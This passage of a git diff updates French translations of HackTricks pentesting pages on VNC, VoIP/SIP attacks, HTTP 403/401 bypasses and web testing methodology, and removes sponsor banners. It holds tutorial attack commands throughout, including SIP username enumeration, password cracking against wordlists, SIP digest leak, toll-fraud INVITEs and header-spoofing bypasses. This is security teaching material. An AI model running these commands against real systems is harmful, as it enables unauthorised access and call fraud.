- -Si vous êtes intéressé par une **carrière en hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_). - -{% embed url="https://www.stmcyber.com/careers" %} ## Informations de base -**Virtual Network Computing (VNC)** est un système robuste de partage de bureau graphique qui utilise le protocole **Remote Frame Buffer (RFB)** pour permettre le contrôle à distance et la collaboration avec un autre ordinateur. Avec VNC, les utilisateurs peuvent interagir sans effort avec un ordinateur distant en transmettant des événements de clavier et de souris dans les deux sens. Cela permet un accès en temps réel et facilite l'assistance ou la collaboration à distance efficace sur un réseau. +**Virtual Network Computing (VNC)** est un système de partage de bureau graphique robuste qui utilise le protocole **Remote Frame Buffer (RFB)** pour permettre le contrôle à distance et la collaboration avec un autre ordinateur. Avec VNC, les utilisateurs peuvent interagir sans effort avec un ordinateur distant en transmettant des événements de clavier et de souris dans les deux sens. Cela permet un accès en temps réel et facilite l'assistance ou la collaboration à distance efficace sur un réseau. VNC utilise généralement les ports **5800 ou 5801 ou 5900 ou 5901.** ``` @@ -47,10 +42,5 @@ Je sauvegarde également l'outil ici pour un accès facile : - `port:5900 RFB` -
- -Si vous êtes intéressé par une **carrière de hacking** et que vous voulez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_). - -{% embed url="https://www.stmcyber.com/careers" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md index 17ed316f1..e8a4586bb 100644 --- a/src/network-services-pentesting/pentesting-voip/README.md +++ b/src/network-services-pentesting/pentesting-voip/README.md @@ -2,13 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Informations de base sur VoIP @@ -37,9 +30,9 @@ MESSAGE Deliver a text message. Used in instant messaging applications. RFC 34 INFO Send mid-session information that does not modify the session state. RFC 6086 OPTIONS Query the capabilities of an endpoint RFC 3261 ``` -## Codes de réponse +## Codes de Réponse -**1xx—Réponses provisoires** +**1xx—Réponses Provisoires** ``` 100 Trying 180 Ringing @@ -225,6 +218,7 @@ Le PBX pourrait également exposer d'autres services réseau tels que : - **3306 (MySQL)** : Base de données MySQL - **5038 (Manager)** : Permet d'utiliser Asterisk depuis d'autres plateformes - **5222 (XMPP)** : Messages utilisant Jabber +- **5432 (PostgreSQL)** : Base de données PostgreSQL - Et d'autres... ### Énumération des Méthodes @@ -260,7 +254,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200 auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP) auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP) ``` -- **`enumiax` (`apt install enumiax`): enumIAX** est un **énumérateur de brute-force de nom d'utilisateur** pour le protocole Inter Asterisk Exchange. enumIAX peut fonctionner en deux modes distincts : Devinette séquentielle de nom d'utilisateur ou Attaque par dictionnaire. +- **`enumiax` (`apt install enumiax`): enumIAX** est un énumérateur de **brute-force de nom d'utilisateur** pour le protocole Inter Asterisk Exchange. enumIAX peut fonctionner en deux modes distincts : Devinette séquentielle de nom d'utilisateur ou Attaque par dictionnaire. ```bash enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary enumiax -v -m3 -M3 10.10.0.10 @@ -281,7 +275,7 @@ Ayant découvert le **PBX** et quelques **extensions/noms d'utilisateur**, une svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions ``` -- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack est un cracker de mots de passe à distance pour les services SIP. Rcrack peut tester des mots de passe pour plusieurs utilisateurs sur différentes adresses IP et plages de ports. +- **`SIPPTS rcrack`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack est un cracker de mots de passe à distance pour les services SIP. Rcrack peut tester des mots de passe pour plusieurs utilisateurs sur différentes IP et plages de ports. ```bash sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ``` @@ -310,7 +304,7 @@ Pour obtenir ces informations, vous pourriez utiliser des outils tels que Wiresh sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt ``` -- **`SIPPTS dump`** de [**sippts**](https://github.com/Pepelux/sippts)**:** Le dump SIPPTS peut extraire des authentifications digestes d'un fichier pcap. +- **`SIPPTS dump`** de [**sippts**](https://github.com/Pepelux/sippts)**:** Le dump SIPPTS peut extraire des authentifications digest à partir d'un fichier pcap. ```bash sippts dump -f capture.pcap -o data.txt ``` @@ -329,7 +323,7 @@ Il est possible d'envoyer ces codes dans des **messages SIP INFO**, dans **l'aud ```bash multimon -a DTMF -t wac pin.wav ``` -### Appels gratuits / Mauvaises configurations des connexions Asterisks +### Appels gratuits / Mauvaises configurations des connexions Asterisk Dans Asterisk, il est possible de permettre une connexion **d'une adresse IP spécifique** ou de **n'importe quelle adresse IP** : ``` @@ -351,7 +345,7 @@ Il est également possible d'établir une confiance avec la variable insecure : - **`insecure=port,invite`** : Les deux. > [!WARNING] -> Lorsque **`type=friend`** est utilisé, la **valeur** de la variable **host** **ne sera pas utilisée**, donc si un administrateur **malconfigure un SIP-trunk** en utilisant cette valeur, **n'importe qui pourra s'y connecter**. +> Lorsque **`type=friend`** est utilisé, la **valeur** de la variable **host** **ne sera pas utilisée**, donc si un admin **malconfigure un SIP-trunk** en utilisant cette valeur, **n'importe qui pourra s'y connecter**. > > Par exemple, cette configuration serait vulnérable :\ > `host=10.10.10.10`\ @@ -362,7 +356,7 @@ Il est également possible d'établir une confiance avec la variable insecure : Dans Asterisk, un **contexte** est un conteneur ou une section nommée dans le plan de numérotation qui **regroupe des extensions, des actions et des règles connexes**. Le plan de numérotation est le composant central d'un système Asterisk, car il définit **comment les appels entrants et sortants sont gérés et routés**. Les contextes sont utilisés pour organiser le plan de numérotation, gérer le contrôle d'accès et fournir une séparation entre différentes parties du système. -Chaque contexte est défini dans le fichier de configuration, généralement dans le fichier **`extensions.conf`**. Les contextes sont notés par des crochets, avec le nom du contexte enfermé à l'intérieur. Par exemple : +Chaque contexte est défini dans le fichier de configuration, généralement dans le fichier **`extensions.conf`**. Les contextes sont notés par des crochets, avec le nom du contexte inclus à l'intérieur. Par exemple : ```bash csharpCopy code[my_context] ``` @@ -392,9 +386,9 @@ include => external > [!CAUTION] > De plus, par défaut, le fichier **`sip.conf`** contient **`allowguest=true`**, donc **tout** attaquant sans **authentification** pourra appeler n'importe quel autre numéro. -- **`SIPPTS invite`** de [**sippts**](https://github.com/Pepelux/sippts)**:** L'invitation SIPPTS vérifie si un **serveur PBX nous permet de passer des appels sans authentification**. Si le serveur SIP a une configuration incorrecte, il nous permettra de passer des appels vers des numéros externes. Il peut également nous permettre de transférer l'appel vers un deuxième numéro externe. +- **`SIPPTS invite`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite vérifie si un **serveur PBX nous permet de passer des appels sans authentification**. Si le serveur SIP a une configuration incorrecte, il nous permettra de passer des appels vers des numéros externes. Il peut également nous permettre de transférer l'appel vers un deuxième numéro externe. -Par exemple, si votre serveur Asterisk a une mauvaise configuration de contexte, vous pouvez accepter une demande INVITE sans autorisation. Dans ce cas, un attaquant peut passer des appels sans connaître d'utilisateur/mot de passe. +Par exemple, si votre serveur Asterisk a une mauvaise configuration de contexte, vous pouvez accepter une demande INVITE sans autorisation. Dans ce cas, un attaquant peut passer des appels sans connaître aucun identifiant/mot de passe. ```bash # Trying to make a call to the number 555555555 (without auth) with source number 200. sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v @@ -429,7 +423,7 @@ La vulnérabilité est le fait que la **longueur de l'extension indiquée n'est ### Injection d'extension -Utiliser une extension telle que : +En utilisant une extension telle que : ```scss exten => _X.,1,Dial(SIP/${EXTEN}) ``` @@ -441,7 +435,7 @@ Cependant, si **`${EXTEN}`** permet d'introduire **plus que des chiffres** (comm ```scss exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) ``` -Par conséquent, un appel vers l'extension **`101`** et **`123123123`** sera envoyé et seul le premier à recevoir l'appel sera établi... mais si un attaquant utilise une **extension qui contourne toute correspondance** qui est effectuée mais n'existe pas, il pourrait **injecter un appel uniquement vers le numéro souhaité**. +Par conséquent, un appel à l'extension **`101`** et **`123123123`** sera envoyé et seul le premier à recevoir l'appel sera établi... mais si un attaquant utilise une **extension qui contourne toute correspondance** qui est effectuée mais n'existe pas, il pourrait **injecter un appel uniquement au numéro souhaité**. ## Vulnérabilité SIPDigestLeak @@ -451,11 +445,11 @@ La vulnérabilité SIP Digest Leak affecte un grand nombre de téléphones SIP, 1. Un téléphone IP (victime) écoute sur n'importe quel port (par exemple : 5060), acceptant les appels téléphoniques 2. L'attaquant envoie un INVITE au téléphone IP -3. Le téléphone de la victime commence à sonner et quelqu'un décroche puis raccroche (car personne ne répond à l'autre bout) +3. Le téléphone de la victime commence à sonner et quelqu'un décroche et raccroche (car personne ne répond au téléphone à l'autre bout) 4. Lorsque le téléphone est raccroché, le **téléphone de la victime envoie un BYE à l'attaquant** 5. L'**attaquant émet une réponse 407** qui **demande une authentification** et émet un défi d'authentification 6. Le **téléphone de la victime fournit une réponse au défi d'authentification** dans un second BYE -7. L'**attaquant peut alors effectuer une attaque par force brute** sur la réponse au défi sur sa machine locale (ou réseau distribué, etc.) et deviner le mot de passe +7. L'**attaquant peut alors lancer une attaque par force brute** sur la réponse au défi sur sa machine locale (ou réseau distribué, etc.) et deviner le mot de passe - **Fuite SIPPTS** de [**sippts**](https://github.com/Pepelux/sippts)**:** La fuite SIPPTS exploite la vulnérabilité SIP Digest Leak qui affecte un grand nombre de téléphones SIP. La sortie peut être enregistrée au format SipCrack pour être brute forcée en utilisant SIPPTS dcrack ou l'outil SipCrack. ```bash @@ -480,7 +474,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100 ``` ### Click2Call -Click2Call permet à un **utilisateur web** (qui par exemple pourrait être intéressé par un produit) de **fournir** son **numéro de téléphone** pour être appelé. Ensuite, un commercial sera appelé, et quand il **répond au téléphone**, l'utilisateur sera **appelé et connecté avec l'agent**. +Click2Call permet à un **utilisateur web** (qui par exemple pourrait être intéressé par un produit) de **fournir** son **numéro de téléphone** pour être appelé. Ensuite, un commercial sera appelé, et quand il **décroche le téléphone**, l'utilisateur sera **appelé et connecté avec l'agent**. Un profil Asterisk courant pour cela est : ```scss @@ -526,7 +520,7 @@ exten => h,1,System(/tmp/leak_conv.sh &) **RTCPBleed** est un problème de sécurité majeur affectant les serveurs VoIP basés sur Asterisk (publié en 2017). La vulnérabilité permet à **RTP (Real Time Protocol) traffic**, qui transporte les conversations VoIP, d'être **intercepté et redirigé par quiconque sur Internet**. Cela se produit parce que le trafic RTP contourne l'authentification lors de la navigation à travers les pare-feu NAT (Network Address Translation). -Les proxys RTP essaient de résoudre les **limitations NAT** affectant les systèmes RTC en proxyant les flux RTP entre deux parties ou plus. Lorsque le NAT est en place, le logiciel de proxy RTP ne peut souvent pas se fier aux informations IP et port RTP récupérées via le signalement (par exemple, SIP). Par conséquent, un certain nombre de proxys RTP ont mis en œuvre un mécanisme où un tel **tuplet IP et port est appris automatiquement**. Cela se fait souvent en inspectant le trafic RTP entrant et en marquant l'IP et le port source pour tout trafic RTP entrant comme ceux qui devraient être répondus. Ce mécanisme, qui peut être appelé "mode d'apprentissage", **ne fait pas usage d'aucun type d'authentification**. Par conséquent, **les attaquants** peuvent **envoyer du trafic RTP au proxy RTP** et recevoir le trafic RTP proxyé destiné à l'appelant ou au destinataire d'un flux RTP en cours. Nous appelons cette vulnérabilité RTP Bleed car elle permet aux attaquants de recevoir des flux médias RTP destinés à être envoyés à des utilisateurs légitimes. +Les proxys RTP essaient de résoudre les **limitations NAT** affectant les systèmes RTC en proxyant les flux RTP entre deux parties ou plus. Lorsque le NAT est en place, le logiciel de proxy RTP ne peut souvent pas se fier aux informations IP et port RTP récupérées via le signalement (par exemple, SIP). Par conséquent, un certain nombre de proxys RTP ont mis en œuvre un mécanisme où un tel **tuplet IP et port est appris automatiquement**. Cela se fait souvent en inspectant le trafic RTP entrant et en marquant l'IP et le port source pour tout trafic RTP entrant comme ceux qui devraient être répondus. Ce mécanisme, qui peut être appelé "mode d'apprentissage", **ne fait pas usage d'aucun type d'authentification**. Par conséquent, **les attaquants** peuvent **envoyer du trafic RTP au proxy RTP** et recevoir le trafic RTP proxifié destiné à l'appelant ou au destinataire d'un flux RTP en cours. Nous appelons cette vulnérabilité RTP Bleed car elle permet aux attaquants de recevoir des flux médias RTP destinés à être envoyés à des utilisateurs légitimes. Un autre comportement intéressant des proxys RTP et des piles RTP est que parfois, **même s'ils ne sont pas vulnérables à RTP Bleed**, ils **acceptent, transmettent et/ou traitent des paquets RTP de n'importe quelle source**. Par conséquent, les attaquants peuvent envoyer des paquets RTP qui peuvent leur permettre d'injecter leurs médias au lieu de ceux légitimes. Nous appelons cette attaque injection RTP car elle permet l'injection de paquets RTP illégitimes dans des flux RTP existants. Cette vulnérabilité peut être trouvée à la fois dans les proxys RTP et les points de terminaison. @@ -596,7 +590,7 @@ Il existe plusieurs façons d'essayer d'atteindre le DoS sur les serveurs VoIP. - [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Couteau suisse SIP. Peut également être utilisé pour effectuer des attaques SIP. - Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper). -### Vulnérabilités du système d'exploitation +### Vulnérabilités OS Le moyen le plus simple d'installer un logiciel tel qu'Asterisk est de télécharger une **distribution OS** qui l'a déjà installé, comme : **FreePBX, Elastix, Trixbox**... Le problème avec ceux-ci est qu'une fois qu'ils fonctionnent, les administrateurs système pourraient **ne pas les mettre à jour à nouveau** et des **vulnérabilités** seront découvertes avec le temps. diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index 04d24bba4..612f60135 100644 --- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -2,15 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -## Fuzzing des verbes/méthodes HTTP +## HTTP Verbs/Methods Fuzzing Essayez d'utiliser **différents verbes** pour accéder au fichier : `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` @@ -18,11 +10,11 @@ Essayez d'utiliser **différents verbes** pour accéder au fichier : `GET, HEAD, - Utiliser un en-tête HTTP comme `X-HTTP-Method-Override: PUT` peut écraser le verbe utilisé. - Utilisez le verbe **`TRACE`** et si vous avez beaucoup de chance, peut-être que dans la réponse vous pouvez également voir les **en-têtes ajoutés par des proxies intermédiaires** qui pourraient être utiles. -## Fuzzing des en-têtes HTTP +## HTTP Headers Fuzzing -- **Changez l'en-tête Host** en une valeur arbitraire ([qui a fonctionné ici](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) -- Essayez d'**utiliser d'autres agents utilisateurs** pour accéder à la ressource. -- **Fuzz des en-têtes HTTP** : Essayez d'utiliser les **en-têtes** du proxy HTTP, l'authentification HTTP de base et le brute-force NTLM (avec seulement quelques combinaisons) et d'autres techniques. Pour faire tout cela, j'ai créé l'outil [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). +- **Changez l'en-tête Host** à une valeur arbitraire ([qui a fonctionné ici](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) +- Essayez de [**utiliser d'autres User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) pour accéder à la ressource. +- **Fuzz HTTP Headers** : Essayez d'utiliser les **en-têtes HTTP**, l'authentification HTTP de base et NTLM par brute-force (avec seulement quelques combinaisons) et d'autres techniques. Pour faire tout cela, j'ai créé l'outil [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). - `X-Originating-IP: 127.0.0.1` - `X-Forwarded-For: 127.0.0.1` @@ -48,12 +40,12 @@ Si le **chemin est protégé**, vous pouvez essayer de contourner la protection - **Fuzz des en-têtes HTTP spéciaux** tout en fuzzant **les méthodes HTTP**. - **Supprimez l'en-tête Host** et peut-être que vous pourrez contourner la protection. -## Fuzzing des chemins +## Path **Fuzzing** Si _/path_ est bloqué : - Essayez d'utiliser _**/**_**%2e/path \_(si l'accès est bloqué par un proxy, cela pourrait contourner la protection). Essayez aussi**\_\*\* /%252e\*\*/path (double encodage URL) -- Essayez le **bypass Unicode** : _/**%ef%bc%8f**path_ (Les caractères encodés en URL sont comme "/") donc lorsqu'ils sont réencodés, cela deviendra _//path_ et peut-être que vous aurez déjà contourné la vérification du nom _/path_ +- Essayez le **bypass Unicode** : _/**%ef%bc%8f**path_ (Les caractères encodés en URL sont comme "/") donc lorsqu'ils sont réencodés, cela sera _//path_ et peut-être que vous aurez déjà contourné la vérification du nom _/path_ - **Autres contournements de chemin** : - site.com/secret –> HTTP 403 Forbidden - site.com/SECRET –> HTTP 200 OK @@ -72,27 +64,27 @@ Si _/path_ est bloqué : - **Autres contournements d'API :** - /v3/users_data/1234 --> 403 Forbidden - /v1/users_data/1234 --> 200 OK -- {“id”:111} --> 401 Non autorisé +- {“id”:111} --> 401 Unauthriozied - {“id”:\[111]} --> 200 OK -- {“id”:111} --> 401 Non autorisé +- {“id”:111} --> 401 Unauthriozied - {“id”:{“id”:111\}} --> 200 OK - {"user_id":"\","user_id":"\"} (Pollution de paramètres JSON) - user_id=ATTACKER_ID\&user_id=VICTIM_ID (Pollution de paramètres) -## **Manipulation de paramètres** +## **Parameter Manipulation** -- Changez la **valeur du paramètre** : De **`id=123` --> `id=124`** +- Changez **la valeur du paramètre** : De **`id=123` --> `id=124`** - Ajoutez des paramètres supplémentaires à l'URL : `?`**`id=124` —-> `id=124&isAdmin=true`** - Supprimez les paramètres - Réorganisez les paramètres - Utilisez des caractères spéciaux. - Effectuez des tests de limites dans les paramètres — fournissez des valeurs comme _-234_ ou _0_ ou _99999999_ (juste quelques valeurs d'exemple). -## **Version du protocole** +## **Protocol version** -Si vous utilisez HTTP/1.1 **essayez d'utiliser 1.0** ou même testez s'il **prend en charge 2.0**. +Si vous utilisez HTTP/1.1 **essayez d'utiliser 1.0** ou même testez si cela **supporte 2.0**. -## **Autres contournements** +## **Other Bypasses** - Obtenez l'**IP** ou le **CNAME** du domaine et essayez de **le contacter directement**. - Essayez de **stresser le serveur** en envoyant des requêtes GET courantes ([Cela a fonctionné pour ce gars avec Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). @@ -122,12 +114,5 @@ guest guest - [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster) - [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden) -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index baaeeda8d..7cc82c00c 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -2,19 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## Informations de base -Le service web est le service le plus **commun et étendu** et de nombreux **types de vulnérabilités différentes** existent. +Le service web est le service le plus **commun et étendu** et de nombreux **types différents de vulnérabilités** existent. -**Port par défaut :** 80 (HTTP), 443(HTTPS) +**Port par défaut :** 80 (HTTP), 443 (HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -33,18 +25,18 @@ web-api-pentesting.md ## Méthodologie résumé -> Dans cette méthodologie, nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et seulement cela. Donc, vous devriez appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre. +> Dans cette méthodologie, nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et uniquement cela. Vous devez donc appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre. - [ ] Commencez par **identifier** les **technologies** utilisées par le serveur web. Recherchez des **astuces** à garder à l'esprit pendant le reste du test si vous pouvez identifier avec succès la technologie. -- [ ] Y a-t-il une **vulnérabilité connue** de la version de la technologie ? +- [ ] Y a-t-il des **vulnérabilités connues** de la version de la technologie ? - [ ] Utilisez-vous une **technologie bien connue** ? Une **astuce utile** pour extraire plus d'informations ? - [ ] Y a-t-il un **scanner spécialisé** à exécuter (comme wpscan) ? -- [ ] Lancez des **scanners à usage général**. Vous ne savez jamais s'ils vont trouver quelque chose ou s'ils vont trouver des informations intéressantes. +- [ ] Lancez des **scanners à usage général**. Vous ne savez jamais s'ils vont trouver quelque chose ou s'ils vont découvrir des informations intéressantes. - [ ] Commencez par les **vérifications initiales** : **robots**, **sitemap**, erreur **404** et **scan SSL/TLS** (si HTTPS). - [ ] Commencez à **spider** la page web : Il est temps de **trouver** tous les **fichiers, dossiers** et **paramètres utilisés.** Vérifiez également les **découvertes spéciales**. -- [ ] _Notez que chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou du spidering, il doit être spideré._ -- [ ] **Brute-Forcing de répertoire** : Essayez de brute forcer tous les dossiers découverts à la recherche de nouveaux **fichiers** et **répertoires**. -- [ ] _Notez que chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou du spidering, il doit être brute-forcé._ +- [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou du spidering, il doit être spideré._ +- [ ] **Brute-Forcing de répertoire** : Essayez de brute-forcer tous les dossiers découverts à la recherche de nouveaux **fichiers** et **répertoires**. +- [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou du spidering, il doit être brute-forcé._ - [ ] **Vérification des sauvegardes** : Testez si vous pouvez trouver des **sauvegardes** de **fichiers découverts** en ajoutant des extensions de sauvegarde courantes. - [ ] **Paramètres de Brute-Force** : Essayez de **trouver des paramètres cachés**. - [ ] Une fois que vous avez **identifié** tous les **endpoints** possibles acceptant **l'entrée utilisateur**, vérifiez tous les types de **vulnérabilités** y afférant. @@ -54,7 +46,7 @@ web-api-pentesting.md ### Identifier -Vérifiez s'il existe des **vulnérabilités connues** pour la **version** du serveur qui fonctionne.\ +Vérifiez s'il existe des **vulnérabilités connues** pour la **version** du serveur en cours d'exécution.\ Les **en-têtes HTTP et les cookies de la réponse** pourraient être très utiles pour **identifier** les **technologies** et/ou la **version** utilisée. Un **scan Nmap** peut identifier la version du serveur, mais il pourrait également être utile d'utiliser les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy @@ -84,7 +76,7 @@ Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **t - [**Git**](git.md) - [**Golang**](golang.md) - [**GraphQL**](graphql.md) -- [**H2 - Base de données SQL Java**](h2-java-sql-database.md) +- [**H2 - base de données SQL Java**](h2-java-sql-database.md) - [**Astuces IIS**](iis-internet-information-services.md) - [**JBOSS**](jboss.md) - [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>) @@ -114,11 +106,11 @@ Si l'application web utilise une **tech/platform bien connue listée précédemm Si le **code source** de l'application est disponible sur **github**, en plus de réaliser par **vous-même un test en boîte blanche** de l'application, il y a **certaines informations** qui pourraient être **utiles** pour le **test en boîte noire** actuel : - Y a-t-il un fichier **Change-log ou Readme ou Version** ou quoi que ce soit avec des **informations de version accessibles** via le web ? -- Comment et où sont enregistrés les **identifiants** ? Y a-t-il un **fichier** (accessible ?) avec des identifiants (noms d'utilisateur ou mots de passe) ? +- Comment et où sont sauvegardées les **identifiants** ? Y a-t-il un **fichier** (accessible ?) avec des identifiants (noms d'utilisateur ou mots de passe) ? - Les **mots de passe** sont-ils en **texte clair**, **chiffrés** ou quel **algorithme de hachage** est utilisé ? - Utilise-t-il une **clé maîtresse** pour chiffrer quelque chose ? Quel **algorithme** est utilisé ? - Pouvez-vous **accéder à l'un de ces fichiers** en exploitant une vulnérabilité ? -- Y a-t-il des **informations intéressantes dans les github** (problèmes résolus et non résolus) **problèmes** ? Ou dans l'**historique des commits** (peut-être un **mot de passe introduit dans un ancien commit**) ? +- Y a-t-il des **informations intéressantes sur github** (problèmes résolus et non résolus) ? Ou dans l'**historique des commits** (peut-être un **mot de passe introduit dans un ancien commit**) ? {{#ref}} code-review-tools.md @@ -174,8 +166,8 @@ joomlavs.rb #https://github.com/rastating/joomlavs Les serveurs web peuvent **se comporter de manière inattendue** lorsque des données étranges leur sont envoyées. Cela peut ouvrir des **vulnérabilités** ou **divulguer des informations sensibles**. -- Accédez à des **pages factices** comme /whatever_fake.php (.aspx, .html, etc.) -- **Ajoutez "\[]", "]]" et "\[\["** dans les **valeurs de cookie** et les **valeurs de paramètre** pour créer des erreurs +- Accédez à des **pages factices** comme /whatever_fake.php (.aspx,.html,.etc) +- **Ajoutez "\[]", "]]", et "\[\["** dans les **valeurs de cookie** et les **valeurs de paramètre** pour créer des erreurs - Générez une erreur en donnant une entrée comme **`/~randomthing/%s`** à la **fin** de l'**URL** - Essayez **différents verbes HTTP** comme PATCH, DEBUG ou incorrects comme FAKE @@ -188,7 +180,7 @@ Si vous constatez que **WebDav** est **activé** mais que vous n'avez pas suffis ### **Vulnérabilités SSL/TLS** -- Si l'application **n'oblige pas l'utilisateur à utiliser HTTPS** à un moment donné, alors elle est **vulnérable au MitM** +- Si l'application **n'oblige pas l'utilisateur à utiliser HTTPS** à un moment donné, alors elle est **vulnérable aux attaques MitM** - Si l'application **envoie des données sensibles (mots de passe) en utilisant HTTP**. Alors c'est une vulnérabilité élevée. Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vérifier les **vulnérabilités** (dans les programmes de Bug Bounty, ces types de vulnérabilités ne seront probablement pas acceptés) et utilisez [**a2sv**](https://github.com/hahwul/a2sv) pour re-vérifier les vulnérabilités : @@ -219,7 +211,7 @@ Lancez une sorte de **spider** à l'intérieur du web. L'objectif du spider est - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider) : Ce script trouvera des URL avec des paramètres et les listera. - [**galer**](https://github.com/dwisiswant0/galer) (go) : Spider HTML avec des capacités de rendu JS. - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python) : Spider HTML, avec des capacités de beautification JS capable de rechercher de nouveaux chemins dans les fichiers JS. Il pourrait également être intéressant de jeter un œil à [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go) : Pour extraire des points de terminaison à la fois dans le code source HTML et dans les fichiers JavaScript intégrés. Utile pour les chasseurs de bugs, les équipes rouges, les ninjas de la sécurité informatique. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go) : Pour extraire des points de terminaison à la fois dans le code source HTML et les fichiers JavaScript intégrés. Utile pour les chasseurs de bugs, les équipes rouges, les ninjas de la sécurité informatique. - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7) : Un script python 2.7 utilisant Tornado et JSBeautifier pour analyser les URL relatives à partir des fichiers JavaScript. Utile pour découvrir facilement les requêtes AJAX. Semble ne pas être maintenu. - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby) : Étant donné un fichier (HTML), il extraira les URL en 